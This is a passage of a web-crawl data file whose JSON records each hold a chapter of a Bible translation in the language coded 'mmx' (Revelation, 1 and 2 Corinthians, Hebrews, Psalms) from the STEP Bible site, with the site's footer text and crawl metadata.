silok.\"\n15 La nom laangelo ga lok bok tia, \"Mo laxantaadan nenu ura ven pam i, la latkin ngarangat it kis saparav i, ni i ru katling limixin boro at levenasen bantuxu, la boro at larabung mixin axap, la boro at levennep silok axap, la boro at levempapaase axap. 16 La mo lavatpanga sio eburu mi lasangaun levempatkom nenu ura ven pam i, nedi diba munepen mi latkin ngarangat. Diba lok kapmek tinotno i la diba ke i nak lok beleben; la diba anan levenbaaxin teren la diba xotos labantuxu ren mi laxao. 17 Diba lox i na mila ne Moroa ira lok pam di xusu dina mumu asu lodoxoma at ne Moroa. Kuren la diba mulus kusu dina raba axap lololos atdi ri lavatpanga sio la neni naba lok lugugu ren min, ba se at levelinga at ne Moroa mumu na levesongsongot naba sorun. 18 La mo latkin ngarangat ura ven i, i ru katling mo lemenemen silok, ni imgomgo ri laramenemen silok at lavaorong silok at na lavatbung menemen.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.17","date":"2018-10-24T04:34:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583519859.77\/warc\/CC-MAIN-20181024042701-20181024064201-00548.warc.gz","language":"mmx","language_score":0.9999563694,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999563694000244}","num_words":927,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 19\nAta Emi Asu Mi Ne Moroa1 Melemu at nai, aga ronga laxaka linga atnedi buaang limixin to vana at laxalibet, digap kup lolos keretna,\n\"Ata emi asu mi ne Moroa, neni Leeme Loklox Arooro atdik, la i ruuna lisisixam la lololos teren i silok aleng, 2 mila lodoxoma ren ti raba limixin mi levesongsongot ik mokso aleng la i ruturun. Moroa ira lok li vam lumumuat at latkin ngarangat, mo ga lox abilinga limixin at na lavatbung menemen mi loklok ti elongka. La ne Moroa ira vorang pam laxakapmek ap mo latkin ga sev amet lavasaxaruki at ne Moroa.\"\n3 La digap kup bok,\n\"Ata emi asu mi ne Moroa. Neni ga sele utut lemenemen Babilon la lusuxa ren i urut uto vana la mo laxao noxo xap.\" a\n4 La mo legepu sangaun mi lavanuet loxongkulao amgomgo la lavanuet levempanga rooro diga xis tiktikbu mi lempatgulom atdi la diga lotu parap ne Moroa. La diga lok,\n\"I ruturun, ata emi asu mi ne Moroa.\"\n5 La nia aga ronga laxaka linga ga laa boro at loxonin orong at ne Moroa la ga lok keretna,\n\"Ata emi asu mi ne Moroa. Nemi lavasaxaruki ren, la nemi mi lok ngangao ren la nemi limixin gamasa la nemi limixin silok, mina emi asu mi ne Moroa.\" b\nLoklox Epot At Lanasip6 La aga ronga laxaka linga at limixin buaang ga ninni ngan ladan silok i sesen lolos la ga lok ngan bok leretepaavat boro vana at laxalibet i tit; la mo laxaka linga ga ravasu xeretna,\n\"Ata emi asu mi ne Moroa, mila Leeme Silok atdik ne Moroa, neni i silok aleng la naba nemen amisik ngan lamgomgo at lempanga axap. 7 Ata momo la ata sosoro la ata emi asu min, mila laaleng loklox epot at Lanasip mo ia vot ta la loono rin mo nga ira gagas li vam i. 8 La ni ira lok ka vam labantamon avukat in bun aleng, in tanan la im games aleng.\"\nNa labantamon bunbun i ru katling leveloklok nunuan at limixin at ne Moroa.\n9 La mo laangelo ga lok tia, \"Una malagan i na, 'Luvukat tinedi limixin ne Moroa ba xup ka di ri leluxa at loklox epot at Lanasip.\"\nLa ni ga lok bok tia, \"Anai, ni levelinga ruturun boro at ne Moroa.\"\n10 Nia aga ronga i na la aga xis tiktikbu mi luvatgulom tarak to saparap luxangkedek teren kusu ana lotu parav i, ketla ni ga lok tia, \"Nemen gat uta lotu parav ia. Nenia lasaxaruki mun at ne Moroa kerekngan nenu eburu mi luvutnetam, mo mim tebeng levelinga ruturun at ne Iesu. Una lotu parap ne Moroa. Mo levelinga ruturun ne Iesu ga tong asu i, ni lavasuun at levempavang at luvuttadi vapaase asu levelinga.\"\nLaradi Ruturun Gat Kis At Lavaros Bunbun11 La nia aga ven laxalibet ga rem suang la aga ven lara lavaros bunbun. La mo laradi gat kis go mavana ren, laasen teren, ne Luruturun. Lodoxoma ren ik mokso la kerepmo neni laradi ing tonga linga la ik paxaru kaxat levenesep. 12 Luxatli ren i soosoo ngan laxao i ngangao, la ni ga xua buaang lempatbungorong to at lavatlak teren. La lara laasen ik lok teren la kopmen teta naklen lavasuun teren, ketla neni xusuk mun iklen i. 13 La mo lavanga singsigaara ren i umsu mi lada la laasen ap mo laradi ne 'Levelinga at ne Moroa.' 14 La limixin esep boro vana at laxalibet di mumu asu i, dit kis at lemparos bunbun la di sigaara mi levesingsiga i nunuan la in bun aleng la i dadat. 15 Lavarise sengsen i sixisu boro at lungusno ren kusu ri sak tup minedi limixin at levennep silok. La neni naba lok tatao di ngan lamgomgo atnedi, la loklok tatao ren ba lolos aleng. Neni naba lox asuusu lebelemamao silok at ne Moroa i lolos aleng. 16 La lara langas linga ik lok to at lisingsigaara ren la to bok at laaon teren; nom langas linga i lok keretna, \"Loorong Silok mavana at lavaorong silok la Leeme Silok mavana at lavaeme silok.\"\n17 La nia aga ven lara laangelo ga tu ro mavana at laxangking. La ni ga xup lolos ti lavapixa axap dip tava de vana at lamavangkap keretna, \"Ude nimi la mina vot buru ri langsangan leluxa at ne Moroa. 18 Ude nimi la mina anan levenbaaxin at lavaorong silok la luvuttadi amgomgo at limixin esep, la levenbaaxin at luvuttadi lolos, la levenbaaxin at lemparos eburu minedi limixin dit kis teren, la levenbaaxin atnedi limixin sepmus eburu mi limixin saksaxaruki, la atnedi bok limixin gamasa la loxongkulao silok.\"\n19 La aga ven bok lavatpanga sio eburu mi lavaorong silok at na lavatbung menemen eburu mi limixin esep atdi, diga vot eburu xusu dina esep eburu mi nom laradi gat kis at lavaros bunbun la limixin esep teren. 20 La nedi diga ranga alis lavatpanga sio eburu mi leeme vapaase alii xaxarang, mo gak lok lempanga sangsangu ri sar asoogong limixin kusu dina lox asilok laasen at lavatpanga sio. Ni ga lok mo lempanga sangsangu xusu na bala arup buaang nedi limixin la diga ruuna ka loklok katling at lavatpanga sio la diga lotu parap lavatpoovo vanga ren. La diga lu arup mi lavatpanga sio la leeme vapaase alii xaxarang, move duga rooro, ro at lemet kao, mo i tos amisik mi lasalpa. 21 La mo lavarise sepsep ga sixisu boro at lungusno ap mo lara gat kis at lavaros bunbun, la ga sep kutkut axap limixin esep at lavatpanga sio. La lavapixa axap diga anan tino at levenbaaxin atdi.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.19","date":"2018-10-17T11:28:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511173.7\/warc\/CC-MAIN-20181017111301-20181017132801-00550.warc.gz","language":"mmx","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999954700469971}","num_words":1073,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 1\nLavapaase Axasep1 Nenia ne Pol. Nema' mi ne Sositenes, neni neton dik at laasen at ne Karisito ma vaase momo rinimi. Moroa ga ro ka ia kusu ana paase asu Lagale Lavavang at ne Iesu Karisito ngan laradi vavang teren.\n2 A malagan i na lovoang tinemi limixin at ne Moroa dom Korin; la ne Moroa ga lox akmokso luruptuvuk atnimi at lekngen ne Iesu Karisito xusu nemi limixin dadat teren. Moroa ga ro xaka vam nimi do ateren; la nemi mit kis esogo amisik mi ne Iesu Karisito, kerekngan limixin to at lengkot axap di lotu parap Leeme Silok atdik ne Iesu Karisito, neni Leeme Silok atdi la Leeme Silok bok atdik.\n3 Letaba nabalamu mi lenmila rinimi boro at ne Temen nedik la Leeme Silok ne Iesu Karisito.\nLempanga Avukat Ne Moroa Ga Raba Nedik Min4 Do nia a ngising, a tong loklox avukat amisik ti ne Moroa mumu nimi, mila ni ga raba nemi mi letaba nabalamu ren keneng at laasen at ne Iesu Karisito; 5 la kantubu at nom mirapnovos pam at leveloklox anarong at ne Moroa, i ngan laramtaba ri tong asu levelinga at ne Moroa la lakleklen nunuan at levelinga at Lovoang Kaala. 6 La kerepmo neni ga lox asuusu i rinimi do lavavang mumu ne Karisito maga tong asu i rinimi ga ruturun. 7 La livipisik teren keretna, ne Moroa ira raba vam nimi mi leveloklox anarong axap la mi noxotkis pakpakes bok ba se at nom laaleng Leeme Silok atdik ne Iesu Karisito naba vor asaxaven, i ngan tai mo mi nemen tangais i mi lomomo. 8 Neni bok naba lox alolos lunuunu atnimi se at laaleng kavaxap la kerepmo at laaleng ete at Leeme Silok ne Iesu Karisito neni noxo ven terek kaka laxakapmek atnimi. 9 Moroa ga ro xaka vam nimi xusu minat kis esogo mi ne Iesu Karisito, Nitna ne Moroa; neni Leeme Silok atdik. Moroa neni laradi ruturun la naba lox epovo levelinga neni ga tong li i.\nPol Ga Vaase Lolos Mumu Lixitkis Ekarakat10 Luvutnetak mi luvurinuk. At laasen at Leeme Silok atdik ne Iesu Karisito, a sing nimi do nemi axap mina etaba belen, kusu kopmen tekarakat noxo nemen kantubu atnimi. Nemi axap mina ru buru mi legeso doxoma la mi lumulus at lebelen nimi. 11 Luvutnetak mi luvurinuk. Nia a tong i na rinimi mila lentaba di nemen at loogu at ne Koloii digara tong asu vam i ria do lekarakat mo i nemen kantubu atnimi. 12 Lekarakat atnimi i lok keretna; nemi getgesara mi epaase mi levempapaase xopmen nak mokso. Lentaba di lok, \"Nema at ne Pol.\" La lentaba di lok, \"Nema at ne Apolos.\" La lentaba di lok, \"Nema at ne Pita.\" La lentaba di lok do, \"Nema at ne Iesu Karisito.\" 13 Kereva, i lox avukat do limixin at ne Karisito dina epeseves? Kereva, nenia ne Pol aga uu nop loklok atnimi rovana at laxaba? Kereva, miga lok ka lesep susu at laasen at ne Pol? Kopmen tinotno.\n14 Nia a tong loklox avukat ti ne Moroa do nenia xopmen a goxo sep susu buaang tentaba atnimi, kusuk mun ne Krispas la ne Gaius; 15 kuren la kopmen tara i epovo na tong i do miga lok ka lesep susu at laasen tarak la nemi at ne Pol. 16 Aga sep susu bok ne Stepanas eburu minedi diga nemen at loogu ren, ketla axo xasep do aga sep susu bok tentaba vetpes. 17 Karisito goxo riki ia xusu ana sep susu limixin. Ni ga riki ia xusu ana tong asu Lagale Lavavang. La nenia xopmen goxo tong asu i mi lakleklen at limixin mun. Do kuren, a lok laniu at ne Iesu ngan lavanga gamasa la kopmen tololos teren.\nLololos Mi Lakleklen At Ne Moroa Ne Iesu Ga Lox Asuusu I18 Lagale Lavavang mumu laniu at ne Iesu rovana at laxaba i lok ngan lavanga gamasa rinedi diba seeve; ketla tinedik, limixin atanaba roo suu, Lagale Lavavang i lok ngan lololos at ne Moroa rinedik. 19 At Lovoang Kaala Moroa ga lok keretna,\n'Aba lok kapmek levendoxoma atnedi limixin dokdoxoma, la ana uulu lakleklen atnedi limixin akleklen.' a\n20 La kereva ba levelinga at limixin dokdoxoma? La kereva ba levelinga at limixin akleklen? La kereva ba levelinga at limixin di etep mi levelinga at na lavatbung menemen? Moroa ira lox asuusu vam i do levelinga at na lavatbung menemen ni lavanga gamasa.\n21 Moroa i ruuna lakleklen solo la ni ga lok pe limixin akleklen kusu kopmen di noxo epovo na vuse sa ren mi lakleklen atdi xa. Ketla ne Moroa ga lok losoxovo do ni naba lox arooro nedi dina nuunu at Lagale Lavavang, keke i do limixin di tong i do Lagale Lavavang ni lavanga gamasa. 22 Limixin me Judaia di vara tempanga sangsangu ri lox aruturun Lagale Lavavang la limixin me Grik di vara mene levendoxoma nunuan. 23 Ketla nema ma vavang mene mi laniu at ne Karisito ga uu rovana at laxaba; i lolos aleng do leme Judaia dina nuunu do Lanarong ga uu xerepmo, kuren la di noxo nuunu at ne Karisito; la mo laniu i ngan lavanga rangtangku ri limixin me Grik. 24 Ketla ne Moroa ga soxolik ka leventaba atnedi leme Judaia la leme Grik. Ma vavang mi laasen at ne Karisito, neni i lox asuusu lololos la lakleklen at ne Moroa rinedi. 25 Lagale Lavavang mumu laniu at ne Iesu, nedi di tong i do lavanga gamasa; ketla ni i volo aleng lakleklen at limixin. La nedi di tong box i do laniu at ne Karisito i lox asuusu i do ne Moroa neni ixo ruuna tololos, ketla lololos teren i volo lololos atnedi.\n26 Luvutnetak mi luvurinuk. Mina doma bilong ti lorooro atnimi ap mo laaleng ne Moroa ga ro xaka nimi. Kopmen goxo buaang atnimi digakleklen solo at lemeren limixin la kopmen goxo buaang bok atnimi diga ruuna levenasen silok la kopmen goxo buaang bok atnimi diga lox avukat at lemeren limixin. 27 Ketla ne Moroa ga soxolik ka nedi limixin kopmen takleklen atdi xusu ri lox asi limixin akleklen at na lavatbung menemen. La ne Moroa ga soxolik ka vam nedi xopmen tavenasen silok kusu ri lox asi limixin silok at na lavatbung menemen. 28 Moroa ga soxolik ka nedi, limixin diga ven asi ridi ngan levempanga gamasa la diga lox abulubun kepe di. Ne Moroa ga lox i nom kusu na lox alixilik mo lempanga i silok at lodoxoma at limixin, 29 la kusu tara noxo xip aurut laasen teren to melamgo at ne Moroa. 30 Ketla ne Moroa gara lok ka vam nimi ri lixitkis etangas eburu mi ne Iesu Karisito la ne Moroa ga lok katling pam ne Karisito ngan laxasep tidik; keneng mun at ne Iesu Karisito, ne Moroa ga vaxaxis buru dik min, la ga lok dik ngan limixin dadat teren, la gara lox asepmus nedik basinge laxakapmek atdik. 31 Kuren la i ngan Lovoang Kaala i tong i do,\n'Do tara i vara na xip aurut laasen at tara, neni na xiv aurut laasen at Leeme Silok.' b\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.1","date":"2018-10-21T22:07:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514355.90\/warc\/CC-MAIN-20181021203102-20181021224602-00123.warc.gz","language":"mmx","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000004529953003}","num_words":1310,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 13\nLevelinga Xavaxap1 Mina balamu ela nimi mila nemi limixin at ne Moroa. 2 Nemen mita ke xepe loklok ti lok maraose mi luvuttadi xadiong. Leventaba diga mu asu na loklok, ketla di goxoklen i do diga lok maraose mi lubung angelo at ne Moroa. 3 Mina lox asuusu labalamu atnimi rinedi limixin nuunu di nemen at loxokoxo, i lok ngan ta do nemi bok mik lox eburu midi at loxokoxo; la mina lok tooro limixin nuunu mo dip kip losongsongot mumu lunuunu atdi, mila nemi bok migap kip levenmumuat kerepmo.\n4 Nemi axap mina mu asu avukat loklok keneng at leepot la mina ke loklok ti elongka mila nedi di mu asu loklok ti elongka, Moroa naba lok li di at lavapaase, eburu minedi bok limixin di los polo levelinga at ne Moroa mumu loklok keneng at leepot. 5 Mina ke xepe loklok ti vavara solo levempilas la mina lok momo mi mo levempanga mi ruuna i, mila ne Moroa ga lok keretna,\n\"Nia noxo on basinge rinotno nimi la loklok tatao rak kopmen tinotno noxo xap.\" a\n6 Kuren la i epovo do ata tong tuturun mo levelinga kerekngan Lovoang Kaala i tong i,\n\"Moroa neni laradi loklok tooro rak, kuren la nenia anoxo marat mila ixo epovo do limixin dina lok kapmex ia.\" b\n7 Mina doma loklok at luvuttadi amgomgo atnimi gano, mo diga vaase nimi mi Lagale Lavavang at ne Moroa. Mina doma lunuunu diga ruuna i at lorooro atdi se diga met, la mina lok ka lunuunu xerepmo. 8 Diga nuunu do ne Iesu Karisito ixok lox ekun levelinga ren; levelinga ren ga sorun gano la i sorun lingina la naba sorun bok melemu.\n9 Nemen gat mitang tonga nedi di lox ase nimi mi levenanasa vetpes, mo ba sar asoogong nimi basinge lunuunu atnimi at ne Iesu. I lox avukat do mina lok ka letaba nabalamu eburu mi loklok tooro at ne Moroa xusu mina lox alolos lebelen nimi. La mina ke xepe mo leveloklok at Lenavolo mumu leveluxa salai ri anan la leveluxa salai kopmen ti anan; na loklok noxo lok tooro lorooro atnedi di mumu asu i. 10 Ketla nedik ta ruuna laradi loklox arooro; ni ga lox epovo luunun ti laxakapmek atdik la kopmen toxot at na rinedi di mumu asu lekabus migomgo.\n11 At leventaangas at lekabus migomgo lamaasa gomgo ga lok ka lada at levempanga mi lavanuet kangkedek la ga vubeles min uto xeneng at loxot ga xaala aleng. Mo lada ga lok ngan laplavang ti laxakapmek at limixin. Ketla diga lok ka mo levempanga mi lavanuet kangkedek la diga rin asonao i ro maxamang at lemenemen. 12 La kerepmo ne Iesu bok ga xip losongsongot to maxamang at lemenemen silok Jerusalem kusu na lox adadat limixin basinge laxakapmek mi lada xa ren. 13 Kuren la mina xis esogo mi ne Iesu, la minap kip lainmangan kerekngan ne Iesu gap kiv i ap mo laaleng neni ga merem at laxaba ro maxamang ap mo lemenemen, 14 mila kopmen temenemen tino ridik nade xopok at lavatbung menemen, ketla nedik ta ngangais ti mo lemenemen ne Moroa ga lox agagas li i ridik.\n15 Iesu ga uu ngan laxaavuk tidik, kuren la ata emi asu amisik mi ne Moroa, i lok ngan laplavang atdik tin la i lok ngan bok livipisik atnedi di nuunu at laasen teren. 16 La nemen mita domampe loklok tik lok lununuan la loklok tim taba panga nedi dik pakes, mila ana leveloklok i lok ngan laramtaba atdik ti ne Moroa la neni i momo ren.\n17 Mina ronga res at luvuttadi amgomgo at lotu la mina mu asu levelinga atdi mila nedi di lok tatao nimi la ne Moroa nabakling lugugu atdi, mo do diga lok tatao avukat nimi. Mina ronga res atdi xusu diba lok momo mun at lugugu atdi. Do mina ronga xepe levelinga atdi, na loklok ting tonga xepe naba lok li lumumuat mavana atdi la naba lok kapmek lunuunu atnimi.\n18 Mina ngising amisik ne Moroa do neni na lok tooro nama. Nema xopmen mana ruuna tusumsuma xapmek mila maklen i do lebelen nama ip sepsen tino, la ma vara aleng i do mana ruuna luruptuvuk i nunuan axap. 19 A vara i xusu anamlong posiga soso nimi, kuren la at langsangan lavavara rak, do mina sing ne Moroa ri na lavanga.\n20 Moroa at lumulum ga lox aroo amlong Leeme Silok atdik ne Iesu basinge lanmet; la at lada ren neni ga vaxaru kaxat lekabus maxat mo ba nemen amisik. Neni laradi loklok tatao atdik ngan laradi i lok tatao lubungsipsip teren. 21 A sing ne Moroa do na lox agagas avukat nimi xusu minaba mu asu lavavara ren la neni na gugu at lebelen nimi xeneng at loklok tooro at ne Iesu Karisito. Ata ba lok mo levempanga neni naba momo ren la ata emi asu min la na leemi asu rin noxo xap. Tuturun.\n22 Luvutnetak mi luvurinuk. Nia a sing nimi do mina siam ka levelinga rak keneng at na lovoang. Na levelinga kopmen na baalom solo, i xubulik mene nga.\n23 A vara i xusu minaklen i do neton dik ne Timoti diga soxomus asu vam i boro xeneng at loogu xokoxo. Do neni na vot pasa soso ia, nema eburu manaba vosiga nimi.\n24 A lox aonon lavapaase momo rak ti luvuttadi amgomgo atnimi la ti limixin axap at ne Moroa. La nedi bok limixin nuunu boro Itali di lox aonon lavapaase momo rinimi.\n25 Letaba nabalamu at ne Moroa na nemen amisik eburu minemi axap. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.13","date":"2018-10-18T04:39:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511703.70\/warc\/CC-MAIN-20181018042951-20181018064451-00094.warc.gz","language":"mmx","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000015497207642}","num_words":1062,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Psalms 72\nLisingising ti Loorong1 O Moroa, una anasa loorong kusu ni naba viila mumu loklok at limixin mi lodoxoma mokmokso i ngan mun taram. Una lox ase i mi levelinga loklox akmokso ram, 2 kusu neni naba viila mumu avukat limixin taram at levenaleng neni naba nemen ngan lamgomgo atnedi; la neni nabam gomgonga nedi luvuttadi ua di baava. Neni naba lox i na mi levelinga mokmokso. 3 La limixin at lenep kangka ren naba ngasang kobot; lemenemen teren naba umsu mi loklok manmanton. 4 Loorong naba ila leveloklok at luvuttadi banbalo mi lodoxoma ruturun. Neni naba lok tooro luvuttadi vakpakes la nat pas asi luvuttadi loklok papavas.\n5 Limixin taram dinaba lotu saparap amisix u at levenaleng laxangking i soso, la at levenaleng lagaaling im taba asu lososo ren ti na loola la ti mo bok lavaola dibap tavasu. 6 Loorong naba lok ngan larakabu ri leven taamang la naba ngan bok levengkaramis dan im subu ro vana at laxangka. 7 Loklok manmanton naba sisilok lolos kantubu at limixin at ne Moroa keneng at levenaleng axap at lorooro ren; la dinaba ngasang kobot amisik kerekngan lagaaling im taba amixik laxasep.\n8 Lixitkis amgomgo ren naba ruka i ro at lenep tas meo, la naba se ro at lenep tas meo, ruka i ro Euprates la naba se at latnese at lavatbung menemen. 9 Limixin boro at lamatbin dinaba tu tiktikbu mi lempatgulom atdi ro melamgo ren; la lavamunepen teren dinaba subu midi gamasa mi lenbantuxu atnedi uto xopok at laxangka ri lok ngangao ren. 10 Lavaorong me Spein la boro at levesoxan bok, dinabak lok leventamtaba rin. Lavaorong me Sheba la Seba dinabam taba i mi leventamtaba. 11 Lavaorong axap dinabat kis tiktikbu ro melamgo ren. Limixin at laranep silok axap dinaba gugu taba i.\n12 Neni naba lox asepsu luvuttadi banbalo ua di lotu saparav i basinge lorooro etaba, la nedi bok ua dik pakes la lavapen abulubun. 13 Neni naba belemumu nedi dixo ruuna lolos la di banbalo. Neni naba lox asepsu limixin pakpakes basinge lanmet. 14 Neni naba lox asepsu di basinge limixin loklok papavas, limixin mukmusak, la limixin sepsep tadi. Lorooro atnedi i lok ngan lavanga matmatkun tin. 15 Naba lox avukat do loorong na rooro amisik! Keke limixin dibam taba i mi levengol boro Sheba; la keneng at levesingising at limixin, dinaba tong ke amisik teren at levenaleng axap. La loklox anarong at ne Moroa naba nemen amisik pana ren! 16 Keke na laxangka na umsu mi laxam piao; la lengkong kaana nam tebonot pe mi levempeeve anan, la dinaba pisik solo ngan leventauna ro Lebanon. Keke mo laramenemen silok teren na umsu mi limixin, la naba lok ngan laxangka i umsu mi levempivilis. 17 Limixin di noxo domampe laasen at loorong at levenaleng axap i tu melamgo; la keke mo lakleklen at limixin mumu i naba nemen amisik ngan laxangking. La limixin at laranep silok bok dinaba ngising ne Moroa ri lox anarong nedi ngan ni gara lox anarong pam loorong.\n18 Leemi asu ri Leeme Silok ne Moroa me Israel! Neni xusuk mun ik lok mo levempanga maraanu. 19 Leemi asu amisik la kopmen tekavaxap teren ti laasen melemelengan teren! Keke lisisinang teren na suxuna axap lavatbung menemen. Tuturun! Tuturun! 20 Neni na laxavaxap at levesingising at ne Devit, lamdak at ne Jesi.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Psa.72","date":"2018-10-22T16:05:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515352.63\/warc\/CC-MAIN-20181022155502-20181022181002-00110.warc.gz","language":"mmx","language_score":0.9999580383,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999580383300781}","num_words":608,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 4\nLugugu At Ne Pol1 Keneng at lebelemumu at ne Moroa, neni ga raba nama mi na lugugu, kuren la nema ma noxo lox abulubun bok ba. 2 La keneng at na lugugu ma lok kepe leventaangas kakapmek la leveloklok kaxarang. La maxo bala vukpuk bok limixin mi lakleklen atnama, la kopmen mana lox ekun levelinga at ne Moroa; ketla ma tong asu axasep aleng levelinga ruturun at ne Moroa la kerepmo ma lox aru nama ti limixin axap to at lemeren ne Moroa. 3 La do Lagale Lavavang ma tong asu i, i lipe la kopmen na xasep, ni xopmen na xasep mene rinedi limixin dinaba seeve. 4 Dixo nuunu mila levendomdoma atdi, lomoroa at na lavatbung menemen iram tu kobot pe vam i. La neni i tu kobot pe mo laxasep at Lagale Lavavang kusu noxo soosoo axasep di, mo laxasep i susu boro at lisisixam at ne Karisito, neni lampenaxa at ne Moroa. 5 Nema maxo vavang minama xa, ketla ma vavang asu mi ne Iesu Karisito ngan Leeme Silok; la nema ma lok ngan lavasaxaruki atnimi mumu lugugu at ne Iesu. 6 Moroa axa ga lok keretna, \"Laxasep na soosoo su at lamain.\" Neni mun ne Moroa mo ga lok laxasep teren i soosoo xeneng at lorooro atdik kusu ri raba dik mi laxasep at lakleklen mumu lisisixam at ne Moroa mo ga soosoo at lemeren ne Karisito.\n7 Ketla nedik di ruuna nom lakleklen i ngan lapnovos silok keneng at labantuxu gamasa atdik ti lox asuusu i do mo langsangan lololos, ni at ne Moroa mun la kopmen atdik. 8 Atang songot at levenaleng axap, ketla na levesongsongot kopmen na rubur asi dik; ata baava mi levenmumuat, ketla dik kopmen atan tun mu i. 9 Limixin di 